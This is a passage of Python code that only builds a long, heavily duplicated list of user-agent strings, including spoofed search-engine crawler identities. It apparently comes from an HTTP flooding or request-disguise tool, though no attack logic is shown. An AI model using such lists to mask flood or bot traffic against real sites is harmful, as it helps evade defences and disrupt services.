headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') 